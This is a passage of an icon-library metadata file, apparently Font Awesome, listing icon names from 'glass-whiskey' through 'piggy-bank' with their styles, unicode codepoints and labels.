Martini"},"glass-whiskey":{"styles":["solid"],"unicode":"f7a0","label":"Glass Whiskey"},"glasses":{"styles":["solid"],"unicode":"f530","label":"Glasses"},"glide":{"styles":["brands"],"unicode":"f2a5","label":"Glide"},"glide-g":{"styles":["brands"],"unicode":"f2a6","label":"Glide G"},"globe":{"styles":["solid"],"unicode":"f0ac","label":"Globe"},"globe-africa":{"styles":["solid"],"unicode":"f57c","label":"Globe with Africa shown"},"globe-americas":{"styles":["solid"],"unicode":"f57d","label":"Globe with Americas shown"},"globe-asia":{"styles":["solid"],"unicode":"f57e","label":"Globe with Asia shown"},"globe-europe":{"styles":["solid"],"unicode":"f7a2","label":"Globe with Europe shown"},"gofore":{"styles":["brands"],"unicode":"f3a7","label":"Gofore"},"golf-ball":{"styles":["solid"],"unicode":"f450","label":"Golf Ball"},"goodreads":{"styles":["brands"],"unicode":"f3a8","label":"Goodreads"},"goodreads-g":{"styles":["brands"],"unicode":"f3a9","label":"Goodreads G"},"google":{"styles":["brands"],"unicode":"f1a0","label":"Google Logo"},"google-drive":{"styles":["brands"],"unicode":"f3aa","label":"Google Drive"},"google-pay":{"styles":["brands"],"unicode":"e079","label":"Google Pay"},"google-play":{"styles":["brands"],"unicode":"f3ab","label":"Google Play"},"google-plus":{"styles":["brands"],"unicode":"f2b3","label":"Google Plus"},"google-plus-g":{"styles":["brands"],"unicode":"f0d5","label":"Google Plus G"},"google-plus-square":{"styles":["brands"],"unicode":"f0d4","label":"Google Plus Square"},"google-wallet":{"styles":["brands"],"unicode":"f1ee","label":"Google Wallet"},"gopuram":{"styles":["solid"],"unicode":"f664","label":"Gopuram"},"graduation-cap":{"styles":["solid"],"unicode":"f19d","label":"Graduation Cap"},"gratipay":{"styles":["brands"],"unicode":"f184","label":"Gratipay (Gittip)"},"grav":{"styles":["brands"],"unicode":"f2d6","label":"Grav"},"greater-than":{"styles":["solid"],"unicode":"f531","label":"Greater Than"},"greater-than-equal":{"styles":["solid"],"unicode":"f532","label":"Greater Than Equal To"},"grimace":{"styles":["solid","regular"],"unicode":"f57f","label":"Grimacing Face"},"grin":{"styles":["solid","regular"],"unicode":"f580","label":"Grinning Face"},"grin-alt":{"styles":["solid","regular"],"unicode":"f581","label":"Alternate Grinning Face"},"grin-beam":{"styles":["solid","regular"],"unicode":"f582","label":"Grinning Face With Smiling Eyes"},"grin-beam-sweat":{"styles":["solid","regular"],"unicode":"f583","label":"Grinning Face With Sweat"},"grin-hearts":{"styles":["solid","regular"],"unicode":"f584","label":"Smiling Face With Heart-Eyes"},"grin-squint":{"styles":["solid","regular"],"unicode":"f585","label":"Grinning Squinting Face"},"grin-squint-tears":{"styles":["solid","regular"],"unicode":"f586","label":"Rolling on the Floor Laughing"},"grin-stars":{"styles":["solid","regular"],"unicode":"f587","label":"Star-Struck"},"grin-tears":{"styles":["solid","regular"],"unicode":"f588","label":"Face With Tears of Joy"},"grin-tongue":{"styles":["solid","regular"],"unicode":"f589","label":"Face With Tongue"},"grin-tongue-squint":{"styles":["solid","regular"],"unicode":"f58a","label":"Squinting Face With Tongue"},"grin-tongue-wink":{"styles":["solid","regular"],"unicode":"f58b","label":"Winking Face With Tongue"},"grin-wink":{"styles":["solid","regular"],"unicode":"f58c","label":"Grinning Winking Face"},"grip-horizontal":{"styles":["solid"],"unicode":"f58d","label":"Grip Horizontal"},"grip-lines":{"styles":["solid"],"unicode":"f7a4","label":"Grip Lines"},"grip-lines-vertical":{"styles":["solid"],"unicode":"f7a5","label":"Grip Lines Vertical"},"grip-vertical":{"styles":["solid"],"unicode":"f58e","label":"Grip Vertical"},"gripfire":{"styles":["brands"],"unicode":"f3ac","label":"Gripfire, Inc."},"grunt":{"styles":["brands"],"unicode":"f3ad","label":"Grunt"},"guilded":{"styles":["brands"],"unicode":"e07e","label":"Guilded"},"guitar":{"styles":["solid"],"unicode":"f7a6","label":"Guitar"},"gulp":{"styles":["brands"],"unicode":"f3ae","label":"Gulp"},"h-square":{"styles":["solid"],"unicode":"f0fd","label":"H Square"},"hacker-news":{"styles":["brands"],"unicode":"f1d4","label":"Hacker News"},"hacker-news-square":{"styles":["brands"],"unicode":"f3af","label":"Hacker News Square"},"hackerrank":{"styles":["brands"],"unicode":"f5f7","label":"Hackerrank"},"hamburger":{"styles":["solid"],"unicode":"f805","label":"Hamburger"},"hammer":{"styles":["solid"],"unicode":"f6e3","label":"Hammer"},"hamsa":{"styles":["solid"],"unicode":"f665","label":"Hamsa"},"hand-holding":{"styles":["solid"],"unicode":"f4bd","label":"Hand Holding"},"hand-holding-heart":{"styles":["solid"],"unicode":"f4be","label":"Hand Holding Heart"},"hand-holding-medical":{"styles":["solid"],"unicode":"e05c","label":"Hand Holding Medical Cross"},"hand-holding-usd":{"styles":["solid"],"unicode":"f4c0","label":"Hand Holding US Dollar"},"hand-holding-water":{"styles":["solid"],"unicode":"f4c1","label":"Hand Holding Water"},"hand-lizard":{"styles":["solid","regular"],"unicode":"f258","label":"Lizard (Hand)"},"hand-middle-finger":{"styles":["solid"],"unicode":"f806","label":"Hand with Middle Finger Raised"},"hand-paper":{"styles":["solid","regular"],"unicode":"f256","label":"Paper (Hand)"},"hand-peace":{"styles":["solid","regular"],"unicode":"f25b","label":"Peace (Hand)"},"hand-point-down":{"styles":["solid","regular"],"unicode":"f0a7","label":"Hand Pointing Down"},"hand-point-left":{"styles":["solid","regular"],"unicode":"f0a5","label":"Hand Pointing Left"},"hand-point-right":{"styles":["solid","regular"],"unicode":"f0a4","label":"Hand Pointing Right"},"hand-point-up":{"styles":["solid","regular"],"unicode":"f0a6","label":"Hand Pointing Up"},"hand-pointer":{"styles":["solid","regular"],"unicode":"f25a","label":"Pointer (Hand)"},"hand-rock":{"styles":["solid","regular"],"unicode":"f255","label":"Rock (Hand)"},"hand-scissors":{"styles":["solid","regular"],"unicode":"f257","label":"Scissors (Hand)"},"hand-sparkles":{"styles":["solid"],"unicode":"e05d","label":"Hand Sparkles"},"hand-spock":{"styles":["solid","regular"],"unicode":"f259","label":"Spock (Hand)"},"hands":{"styles":["solid"],"unicode":"f4c2","label":"Hands"},"hands-helping":{"styles":["solid"],"unicode":"f4c4","label":"Helping Hands"},"hands-wash":{"styles":["solid"],"unicode":"e05e","label":"Hands Wash"},"handshake":{"styles":["solid","regular"],"unicode":"f2b5","label":"Handshake"},"handshake-alt-slash":{"styles":["solid"],"unicode":"e05f","label":"Handshake Alternate Slash"},"handshake-slash":{"styles":["solid"],"unicode":"e060","label":"Handshake Slash"},"hanukiah":{"styles":["solid"],"unicode":"f6e6","label":"Hanukiah"},"hard-hat":{"styles":["solid"],"unicode":"f807","label":"Hard Hat"},"hashtag":{"styles":["solid"],"unicode":"f292","label":"Hashtag"},"hat-cowboy":{"styles":["solid"],"unicode":"f8c0","label":"Cowboy Hat"},"hat-cowboy-side":{"styles":["solid"],"unicode":"f8c1","label":"Cowboy Hat Side"},"hat-wizard":{"styles":["solid"],"unicode":"f6e8","label":"Wizard\'s Hat"},"hdd":{"styles":["solid","regular"],"unicode":"f0a0","label":"HDD"},"head-side-cough":{"styles":["solid"],"unicode":"e061","label":"Head Side Cough"},"head-side-cough-slash":{"styles":["solid"],"unicode":"e062","label":"Head Side-cough-slash"},"head-side-mask":{"styles":["solid"],"unicode":"e063","label":"Head Side Mask"},"head-side-virus":{"styles":["solid"],"unicode":"e064","label":"Head Side Virus"},"heading":{"styles":["solid"],"unicode":"f1dc","label":"heading"},"headphones":{"styles":["solid"],"unicode":"f025","label":"headphones"},"headphones-alt":{"styles":["solid"],"unicode":"f58f","label":"Alternate Headphones"},"headset":{"styles":["solid"],"unicode":"f590","label":"Headset"},"heart":{"styles":["solid","regular"],"unicode":"f004","label":"Heart"},"heart-broken":{"styles":["solid"],"unicode":"f7a9","label":"Heart Broken"},"heartbeat":{"styles":["solid"],"unicode":"f21e","label":"Heartbeat"},"helicopter":{"styles":["solid"],"unicode":"f533","label":"Helicopter"},"highlighter":{"styles":["solid"],"unicode":"f591","label":"Highlighter"},"hiking":{"styles":["solid"],"unicode":"f6ec","label":"Hiking"},"hippo":{"styles":["solid"],"unicode":"f6ed","label":"Hippo"},"hips":{"styles":["brands"],"unicode":"f452","label":"Hips"},"hire-a-helper":{"styles":["brands"],"unicode":"f3b0","label":"HireAHelper"},"history":{"styles":["solid"],"unicode":"f1da","label":"History"},"hive":{"styles":["brands"],"unicode":"e07f","label":"Hive Blockchain Network"},"hockey-puck":{"styles":["solid"],"unicode":"f453","label":"Hockey Puck"},"holly-berry":{"styles":["solid"],"unicode":"f7aa","label":"Holly Berry"},"home":{"styles":["solid"],"unicode":"f015","label":"home"},"hooli":{"styles":["brands"],"unicode":"f427","label":"Hooli"},"hornbill":{"styles":["brands"],"unicode":"f592","label":"Hornbill"},"horse":{"styles":["solid"],"unicode":"f6f0","label":"Horse"},"horse-head":{"styles":["solid"],"unicode":"f7ab","label":"Horse Head"},"hospital":{"styles":["solid","regular"],"unicode":"f0f8","label":"hospital"},"hospital-alt":{"styles":["solid"],"unicode":"f47d","label":"Alternate Hospital"},"hospital-symbol":{"styles":["solid"],"unicode":"f47e","label":"Hospital Symbol"},"hospital-user":{"styles":["solid"],"unicode":"f80d","label":"Hospital with User"},"hot-tub":{"styles":["solid"],"unicode":"f593","label":"Hot Tub"},"hotdog":{"styles":["solid"],"unicode":"f80f","label":"Hot Dog"},"hotel":{"styles":["solid"],"unicode":"f594","label":"Hotel"},"hotjar":{"styles":["brands"],"unicode":"f3b1","label":"Hotjar"},"hourglass":{"styles":["solid","regular"],"unicode":"f254","label":"Hourglass"},"hourglass-end":{"styles":["solid"],"unicode":"f253","label":"Hourglass End"},"hourglass-half":{"styles":["solid"],"unicode":"f252","label":"Hourglass Half"},"hourglass-start":{"styles":["solid"],"unicode":"f251","label":"Hourglass Start"},"house-damage":{"styles":["solid"],"unicode":"f6f1","label":"Damaged House"},"house-user":{"styles":["solid"],"unicode":"e065","label":"House User"},"houzz":{"styles":["brands"],"unicode":"f27c","label":"Houzz"},"hryvnia":{"styles":["solid"],"unicode":"f6f2","label":"Hryvnia"},"html5":{"styles":["brands"],"unicode":"f13b","label":"HTML 5 Logo"},"hubspot":{"styles":["brands"],"unicode":"f3b2","label":"HubSpot"},"i-cursor":{"styles":["solid"],"unicode":"f246","label":"I Beam Cursor"},"ice-cream":{"styles":["solid"],"unicode":"f810","label":"Ice Cream"},"icicles":{"styles":["solid"],"unicode":"f7ad","label":"Icicles"},"icons":{"styles":["solid"],"unicode":"f86d","label":"Icons"},"id-badge":{"styles":["solid","regular"],"unicode":"f2c1","label":"Identification Badge"},"id-card":{"styles":["solid","regular"],"unicode":"f2c2","label":"Identification Card"},"id-card-alt":{"styles":["solid"],"unicode":"f47f","label":"Alternate Identification Card"},"ideal":{"styles":["brands"],"unicode":"e013","label":"iDeal"},"igloo":{"styles":["solid"],"unicode":"f7ae","label":"Igloo"},"image":{"styles":["solid","regular"],"unicode":"f03e","label":"Image"},"images":{"styles":["solid","regular"],"unicode":"f302","label":"Images"},"imdb":{"styles":["brands"],"unicode":"f2d8","label":"IMDB"},"inbox":{"styles":["solid"],"unicode":"f01c","label":"inbox"},"indent":{"styles":["solid"],"unicode":"f03c","label":"Indent"},"industry":{"styles":["solid"],"unicode":"f275","label":"Industry"},"infinity":{"styles":["solid"],"unicode":"f534","label":"Infinity"},"info":{"styles":["solid"],"unicode":"f129","label":"Info"},"info-circle":{"styles":["solid"],"unicode":"f05a","label":"Info Circle"},"innosoft":{"styles":["brands"],"unicode":"e080","label":"Innosoft"},"instagram":{"styles":["brands"],"unicode":"f16d","label":"Instagram"},"instagram-square":{"styles":["brands"],"unicode":"e055","label":"Instagram Square"},"instalod":{"styles":["brands"],"unicode":"e081","label":"InstaLOD"},"intercom":{"styles":["brands"],"unicode":"f7af","label":"Intercom"},"internet-explorer":{"styles":["brands"],"unicode":"f26b","label":"Internet-explorer"},"invision":{"styles":["brands"],"unicode":"f7b0","label":"InVision"},"ioxhost":{"styles":["brands"],"unicode":"f208","label":"ioxhost"},"italic":{"styles":["solid"],"unicode":"f033","label":"italic"},"itch-io":{"styles":["brands"],"unicode":"f83a","label":"itch.io"},"itunes":{"styles":["brands"],"unicode":"f3b4","label":"iTunes"},"itunes-note":{"styles":["brands"],"unicode":"f3b5","label":"Itunes Note"},"java":{"styles":["brands"],"unicode":"f4e4","label":"Java"},"jedi":{"styles":["solid"],"unicode":"f669","label":"Jedi"},"jedi-order":{"styles":["brands"],"unicode":"f50e","label":"Jedi Order"},"jenkins":{"styles":["brands"],"unicode":"f3b6","label":"Jenkis"},"jira":{"styles":["brands"],"unicode":"f7b1","label":"Jira"},"joget":{"styles":["brands"],"unicode":"f3b7","label":"Joget"},"joint":{"styles":["solid"],"unicode":"f595","label":"Joint"},"joomla":{"styles":["brands"],"unicode":"f1aa","label":"Joomla Logo"},"journal-whills":{"styles":["solid"],"unicode":"f66a","label":"Journal of the Whills"},"js":{"styles":["brands"],"unicode":"f3b8","label":"JavaScript (JS)"},"js-square":{"styles":["brands"],"unicode":"f3b9","label":"JavaScript (JS) Square"},"jsfiddle":{"styles":["brands"],"unicode":"f1cc","label":"jsFiddle"},"kaaba":{"styles":["solid"],"unicode":"f66b","label":"Kaaba"},"kaggle":{"styles":["brands"],"unicode":"f5fa","label":"Kaggle"},"key":{"styles":["solid"],"unicode":"f084","label":"key"},"keybase":{"styles":["brands"],"unicode":"f4f5","label":"Keybase"},"keyboard":{"styles":["solid","regular"],"unicode":"f11c","label":"Keyboard"},"keycdn":{"styles":["brands"],"unicode":"f3ba","label":"KeyCDN"},"khanda":{"styles":["solid"],"unicode":"f66d","label":"Khanda"},"kickstarter":{"styles":["brands"],"unicode":"f3bb","label":"Kickstarter"},"kickstarter-k":{"styles":["brands"],"unicode":"f3bc","label":"Kickstarter K"},"kiss":{"styles":["solid","regular"],"unicode":"f596","label":"Kissing Face"},"kiss-beam":{"styles":["solid","regular"],"unicode":"f597","label":"Kissing Face With Smiling Eyes"},"kiss-wink-heart":{"styles":["solid","regular"],"unicode":"f598","label":"Face Blowing a Kiss"},"kiwi-bird":{"styles":["solid"],"unicode":"f535","label":"Kiwi Bird"},"korvue":{"styles":["brands"],"unicode":"f42f","label":"KORVUE"},"landmark":{"styles":["solid"],"unicode":"f66f","label":"Landmark"},"language":{"styles":["solid"],"unicode":"f1ab","label":"Language"},"laptop":{"styles":["solid"],"unicode":"f109","label":"Laptop"},"laptop-code":{"styles":["solid"],"unicode":"f5fc","label":"Laptop Code"},"laptop-house":{"styles":["solid"],"unicode":"e066","label":"Laptop House"},"laptop-medical":{"styles":["solid"],"unicode":"f812","label":"Laptop Medical"},"laravel":{"styles":["brands"],"unicode":"f3bd","label":"Laravel"},"lastfm":{"styles":["brands"],"unicode":"f202","label":"last.fm"},"lastfm-square":{"styles":["brands"],"unicode":"f203","label":"last.fm Square"},"laugh":{"styles":["solid","regular"],"unicode":"f599","label":"Grinning Face With Big Eyes"},"laugh-beam":{"styles":["solid","regular"],"unicode":"f59a","label":"Laugh Face with Beaming Eyes"},"laugh-squint":{"styles":["solid","regular"],"unicode":"f59b","label":"Laughing Squinting Face"},"laugh-wink":{"styles":["solid","regular"],"unicode":"f59c","label":"Laughing Winking Face"},"layer-group":{"styles":["solid"],"unicode":"f5fd","label":"Layer Group"},"leaf":{"styles":["solid"],"unicode":"f06c","label":"leaf"},"leanpub":{"styles":["brands"],"unicode":"f212","label":"Leanpub"},"lemon":{"styles":["solid","regular"],"unicode":"f094","label":"Lemon"},"less":{"styles":["brands"],"unicode":"f41d","label":"Less"},"less-than":{"styles":["solid"],"unicode":"f536","label":"Less Than"},"less-than-equal":{"styles":["solid"],"unicode":"f537","label":"Less Than Equal To"},"level-down-alt":{"styles":["solid"],"unicode":"f3be","label":"Alternate Level Down"},"level-up-alt":{"styles":["solid"],"unicode":"f3bf","label":"Alternate Level Up"},"life-ring":{"styles":["solid","regular"],"unicode":"f1cd","label":"Life Ring"},"lightbulb":{"styles":["solid","regular"],"unicode":"f0eb","label":"Lightbulb"},"line":{"styles":["brands"],"unicode":"f3c0","label":"Line"},"link":{"styles":["solid"],"unicode":"f0c1","label":"Link"},"linkedin":{"styles":["brands"],"unicode":"f08c","label":"LinkedIn"},"linkedin-in":{"styles":["brands"],"unicode":"f0e1","label":"LinkedIn In"},"linode":{"styles":["brands"],"unicode":"f2b8","label":"Linode"},"linux":{"styles":["brands"],"unicode":"f17c","label":"Linux"},"lira-sign":{"styles":["solid"],"unicode":"f195","label":"Turkish Lira Sign"},"list":{"styles":["solid"],"unicode":"f03a","label":"List"},"list-alt":{"styles":["solid","regular"],"unicode":"f022","label":"Alternate List"},"list-ol":{"styles":["solid"],"unicode":"f0cb","label":"list-ol"},"list-ul":{"styles":["solid"],"unicode":"f0ca","label":"list-ul"},"location-arrow":{"styles":["solid"],"unicode":"f124","label":"location-arrow"},"lock":{"styles":["solid"],"unicode":"f023","label":"lock"},"lock-open":{"styles":["solid"],"unicode":"f3c1","label":"Lock Open"},"long-arrow-alt-down":{"styles":["solid"],"unicode":"f309","label":"Alternate Long Arrow Down"},"long-arrow-alt-left":{"styles":["solid"],"unicode":"f30a","label":"Alternate Long Arrow Left"},"long-arrow-alt-right":{"styles":["solid"],"unicode":"f30b","label":"Alternate Long Arrow Right"},"long-arrow-alt-up":{"styles":["solid"],"unicode":"f30c","label":"Alternate Long Arrow Up"},"low-vision":{"styles":["solid"],"unicode":"f2a8","label":"Low Vision"},"luggage-cart":{"styles":["solid"],"unicode":"f59d","label":"Luggage Cart"},"lungs":{"styles":["solid"],"unicode":"f604","label":"Lungs"},"lungs-virus":{"styles":["solid"],"unicode":"e067","label":"Lungs Virus"},"lyft":{"styles":["brands"],"unicode":"f3c3","label":"lyft"},"magento":{"styles":["brands"],"unicode":"f3c4","label":"Magento"},"magic":{"styles":["solid"],"unicode":"f0d0","label":"magic"},"magnet":{"styles":["solid"],"unicode":"f076","label":"magnet"},"mail-bulk":{"styles":["solid"],"unicode":"f674","label":"Mail Bulk"},"mailchimp":{"styles":["brands"],"unicode":"f59e","label":"Mailchimp"},"male":{"styles":["solid"],"unicode":"f183","label":"Male"},"mandalorian":{"styles":["brands"],"unicode":"f50f","label":"Mandalorian"},"map":{"styles":["solid","regular"],"unicode":"f279","label":"Map"},"map-marked":{"styles":["solid"],"unicode":"f59f","label":"Map Marked"},"map-marked-alt":{"styles":["solid"],"unicode":"f5a0","label":"Alternate Map Marked"},"map-marker":{"styles":["solid"],"unicode":"f041","label":"map-marker"},"map-marker-alt":{"styles":["solid"],"unicode":"f3c5","label":"Alternate Map Marker"},"map-pin":{"styles":["solid"],"unicode":"f276","label":"Map Pin"},"map-signs":{"styles":["solid"],"unicode":"f277","label":"Map Signs"},"markdown":{"styles":["brands"],"unicode":"f60f","label":"Markdown"},"marker":{"styles":["solid"],"unicode":"f5a1","label":"Marker"},"mars":{"styles":["solid"],"unicode":"f222","label":"Mars"},"mars-double":{"styles":["solid"],"unicode":"f227","label":"Mars Double"},"mars-stroke":{"styles":["solid"],"unicode":"f229","label":"Mars Stroke"},"mars-stroke-h":{"styles":["solid"],"unicode":"f22b","label":"Mars Stroke Horizontal"},"mars-stroke-v":{"styles":["solid"],"unicode":"f22a","label":"Mars Stroke Vertical"},"mask":{"styles":["solid"],"unicode":"f6fa","label":"Mask"},"mastodon":{"styles":["brands"],"unicode":"f4f6","label":"Mastodon"},"maxcdn":{"styles":["brands"],"unicode":"f136","label":"MaxCDN"},"mdb":{"styles":["brands"],"unicode":"f8ca","label":"Material Design for Bootstrap"},"medal":{"styles":["solid"],"unicode":"f5a2","label":"Medal"},"medapps":{"styles":["brands"],"unicode":"f3c6","label":"MedApps"},"medium":{"styles":["brands"],"unicode":"f23a","label":"Medium"},"medium-m":{"styles":["brands"],"unicode":"f3c7","label":"Medium M"},"medkit":{"styles":["solid"],"unicode":"f0fa","label":"medkit"},"medrt":{"styles":["brands"],"unicode":"f3c8","label":"MRT"},"meetup":{"styles":["brands"],"unicode":"f2e0","label":"Meetup"},"megaport":{"styles":["brands"],"unicode":"f5a3","label":"Megaport"},"meh":{"styles":["solid","regular"],"unicode":"f11a","label":"Neutral Face"},"meh-blank":{"styles":["solid","regular"],"unicode":"f5a4","label":"Face Without Mouth"},"meh-rolling-eyes":{"styles":["solid","regular"],"unicode":"f5a5","label":"Face With Rolling Eyes"},"memory":{"styles":["solid"],"unicode":"f538","label":"Memory"},"mendeley":{"styles":["brands"],"unicode":"f7b3","label":"Mendeley"},"menorah":{"styles":["solid"],"unicode":"f676","label":"Menorah"},"mercury":{"styles":["solid"],"unicode":"f223","label":"Mercury"},"meteor":{"styles":["solid"],"unicode":"f753","label":"Meteor"},"microblog":{"styles":["brands"],"unicode":"e01a","label":"Micro.blog"},"microchip":{"styles":["solid"],"unicode":"f2db","label":"Microchip"},"microphone":{"styles":["solid"],"unicode":"f130","label":"microphone"},"microphone-alt":{"styles":["solid"],"unicode":"f3c9","label":"Alternate Microphone"},"microphone-alt-slash":{"styles":["solid"],"unicode":"f539","label":"Alternate Microphone Slash"},"microphone-slash":{"styles":["solid"],"unicode":"f131","label":"Microphone Slash"},"microscope":{"styles":["solid"],"unicode":"f610","label":"Microscope"},"microsoft":{"styles":["brands"],"unicode":"f3ca","label":"Microsoft"},"minus":{"styles":["solid"],"unicode":"f068","label":"minus"},"minus-circle":{"styles":["solid"],"unicode":"f056","label":"Minus Circle"},"minus-square":{"styles":["solid","regular"],"unicode":"f146","label":"Minus Square"},"mitten":{"styles":["solid"],"unicode":"f7b5","label":"Mitten"},"mix":{"styles":["brands"],"unicode":"f3cb","label":"Mix"},"mixcloud":{"styles":["brands"],"unicode":"f289","label":"Mixcloud"},"mixer":{"styles":["brands"],"unicode":"e056","label":"Mixer"},"mizuni":{"styles":["brands"],"unicode":"f3cc","label":"Mizuni"},"mobile":{"styles":["solid"],"unicode":"f10b","label":"Mobile Phone"},"mobile-alt":{"styles":["solid"],"unicode":"f3cd","label":"Alternate Mobile"},"modx":{"styles":["brands"],"unicode":"f285","label":"MODX"},"monero":{"styles":["brands"],"unicode":"f3d0","label":"Monero"},"money-bill":{"styles":["solid"],"unicode":"f0d6","label":"Money Bill"},"money-bill-alt":{"styles":["solid","regular"],"unicode":"f3d1","label":"Alternate Money Bill"},"money-bill-wave":{"styles":["solid"],"unicode":"f53a","label":"Wavy Money Bill"},"money-bill-wave-alt":{"styles":["solid"],"unicode":"f53b","label":"Alternate Wavy Money Bill"},"money-check":{"styles":["solid"],"unicode":"f53c","label":"Money Check"},"money-check-alt":{"styles":["solid"],"unicode":"f53d","label":"Alternate Money Check"},"monument":{"styles":["solid"],"unicode":"f5a6","label":"Monument"},"moon":{"styles":["solid","regular"],"unicode":"f186","label":"Moon"},"mortar-pestle":{"styles":["solid"],"unicode":"f5a7","label":"Mortar Pestle"},"mosque":{"styles":["solid"],"unicode":"f678","label":"Mosque"},"motorcycle":{"styles":["solid"],"unicode":"f21c","label":"Motorcycle"},"mountain":{"styles":["solid"],"unicode":"f6fc","label":"Mountain"},"mouse":{"styles":["solid"],"unicode":"f8cc","label":"Mouse"},"mouse-pointer":{"styles":["solid"],"unicode":"f245","label":"Mouse Pointer"},"mug-hot":{"styles":["solid"],"unicode":"f7b6","label":"Mug Hot"},"music":{"styles":["solid"],"unicode":"f001","label":"Music"},"napster":{"styles":["brands"],"unicode":"f3d2","label":"Napster"},"neos":{"styles":["brands"],"unicode":"f612","label":"Neos"},"network-wired":{"styles":["solid"],"unicode":"f6ff","label":"Wired Network"},"neuter":{"styles":["solid"],"unicode":"f22c","label":"Neuter"},"newspaper":{"styles":["solid","regular"],"unicode":"f1ea","label":"Newspaper"},"nimblr":{"styles":["brands"],"unicode":"f5a8","label":"Nimblr"},"node":{"styles":["brands"],"unicode":"f419","label":"Node.js"},"node-js":{"styles":["brands"],"unicode":"f3d3","label":"Node.js JS"},"not-equal":{"styles":["solid"],"unicode":"f53e","label":"Not Equal"},"notes-medical":{"styles":["solid"],"unicode":"f481","label":"Medical Notes"},"npm":{"styles":["brands"],"unicode":"f3d4","label":"npm"},"ns8":{"styles":["brands"],"unicode":"f3d5","label":"NS8"},"nutritionix":{"styles":["brands"],"unicode":"f3d6","label":"Nutritionix"},"object-group":{"styles":["solid","regular"],"unicode":"f247","label":"Object Group"},"object-ungroup":{"styles":["solid","regular"],"unicode":"f248","label":"Object Ungroup"},"octopus-deploy":{"styles":["brands"],"unicode":"e082","label":"Octopus Deploy"},"odnoklassniki":{"styles":["brands"],"unicode":"f263","label":"Odnoklassniki"},"odnoklassniki-square":{"styles":["brands"],"unicode":"f264","label":"Odnoklassniki Square"},"oil-can":{"styles":["solid"],"unicode":"f613","label":"Oil Can"},"old-republic":{"styles":["brands"],"unicode":"f510","label":"Old Republic"},"om":{"styles":["solid"],"unicode":"f679","label":"Om"},"opencart":{"styles":["brands"],"unicode":"f23d","label":"OpenCart"},"openid":{"styles":["brands"],"unicode":"f19b","label":"OpenID"},"opera":{"styles":["brands"],"unicode":"f26a","label":"Opera"},"optin-monster":{"styles":["brands"],"unicode":"f23c","label":"Optin Monster"},"orcid":{"styles":["brands"],"unicode":"f8d2","label":"ORCID"},"osi":{"styles":["brands"],"unicode":"f41a","label":"Open Source Initiative"},"otter":{"styles":["solid"],"unicode":"f700","label":"Otter"},"outdent":{"styles":["solid"],"unicode":"f03b","label":"Outdent"},"page4":{"styles":["brands"],"unicode":"f3d7","label":"page4 Corporation"},"pagelines":{"styles":["brands"],"unicode":"f18c","label":"Pagelines"},"pager":{"styles":["solid"],"unicode":"f815","label":"Pager"},"paint-brush":{"styles":["solid"],"unicode":"f1fc","label":"Paint Brush"},"paint-roller":{"styles":["solid"],"unicode":"f5aa","label":"Paint Roller"},"palette":{"styles":["solid"],"unicode":"f53f","label":"Palette"},"palfed":{"styles":["brands"],"unicode":"f3d8","label":"Palfed"},"pallet":{"styles":["solid"],"unicode":"f482","label":"Pallet"},"paper-plane":{"styles":["solid","regular"],"unicode":"f1d8","label":"Paper Plane"},"paperclip":{"styles":["solid"],"unicode":"f0c6","label":"Paperclip"},"parachute-box":{"styles":["solid"],"unicode":"f4cd","label":"Parachute Box"},"paragraph":{"styles":["solid"],"unicode":"f1dd","label":"paragraph"},"parking":{"styles":["solid"],"unicode":"f540","label":"Parking"},"passport":{"styles":["solid"],"unicode":"f5ab","label":"Passport"},"pastafarianism":{"styles":["solid"],"unicode":"f67b","label":"Pastafarianism"},"paste":{"styles":["solid"],"unicode":"f0ea","label":"Paste"},"patreon":{"styles":["brands"],"unicode":"f3d9","label":"Patreon"},"pause":{"styles":["solid"],"unicode":"f04c","label":"pause"},"pause-circle":{"styles":["solid","regular"],"unicode":"f28b","label":"Pause Circle"},"paw":{"styles":["solid"],"unicode":"f1b0","label":"Paw"},"paypal":{"styles":["brands"],"unicode":"f1ed","label":"Paypal"},"peace":{"styles":["solid"],"unicode":"f67c","label":"Peace"},"pen":{"styles":["solid"],"unicode":"f304","label":"Pen"},"pen-alt":{"styles":["solid"],"unicode":"f305","label":"Alternate Pen"},"pen-fancy":{"styles":["solid"],"unicode":"f5ac","label":"Pen Fancy"},"pen-nib":{"styles":["solid"],"unicode":"f5ad","label":"Pen Nib"},"pen-square":{"styles":["solid"],"unicode":"f14b","label":"Pen Square"},"pencil-alt":{"styles":["solid"],"unicode":"f303","label":"Alternate Pencil"},"pencil-ruler":{"styles":["solid"],"unicode":"f5ae","label":"Pencil Ruler"},"penny-arcade":{"styles":["brands"],"unicode":"f704","label":"Penny Arcade"},"people-arrows":{"styles":["solid"],"unicode":"e068","label":"People Arrows"},"people-carry":{"styles":["solid"],"unicode":"f4ce","label":"People Carry"},"pepper-hot":{"styles":["solid"],"unicode":"f816","label":"Hot Pepper"},"perbyte":{"styles":["brands"],"unicode":"e083","label":"PerByte"},"percent":{"styles":["solid"],"unicode":"f295","label":"Percent"},"percentage":{"styles":["solid"],"unicode":"f541","label":"Percentage"},"periscope":{"styles":["brands"],"unicode":"f3da","label":"Periscope"},"person-booth":{"styles":["solid"],"unicode":"f756","label":"Person Entering Booth"},"phabricator":{"styles":["brands"],"unicode":"f3db","label":"Phabricator"},"phoenix-framework":{"styles":["brands"],"unicode":"f3dc","label":"Phoenix Framework"},"phoenix-squadron":{"styles":["brands"],"unicode":"f511","label":"Phoenix Squadron"},"phone":{"styles":["solid"],"unicode":"f095","label":"Phone"},"phone-alt":{"styles":["solid"],"unicode":"f879","label":"Alternate Phone"},"phone-slash":{"styles":["solid"],"unicode":"f3dd","label":"Phone Slash"},"phone-square":{"styles":["solid"],"unicode":"f098","label":"Phone Square"},"phone-square-alt":{"styles":["solid"],"unicode":"f87b","label":"Alternate Phone Square"},"phone-volume":{"styles":["solid"],"unicode":"f2a0","label":"Phone Volume"},"photo-video":{"styles":["solid"],"unicode":"f87c","label":"Photo Video"},"php":{"styles":["brands"],"unicode":"f457","label":"PHP"},"pied-piper":{"styles":["brands"],"unicode":"f2ae","label":"Pied Piper Logo"},"pied-piper-alt":{"styles":["brands"],"unicode":"f1a8","label":"Alternate Pied Piper Logo (Old)"},"pied-piper-hat":{"styles":["brands"],"unicode":"f4e5","label":"Pied Piper Hat (Old)"},"pied-piper-pp":{"styles":["brands"],"unicode":"f1a7","label":"Pied Piper PP Logo (Old)"},"pied-piper-square":{"styles":["brands"],"unicode":"e01e","label":"Pied Piper Square Logo (Old)"},"piggy-bank":{"styles":["solid"],"unicode":"f4d3","label":"Piggy 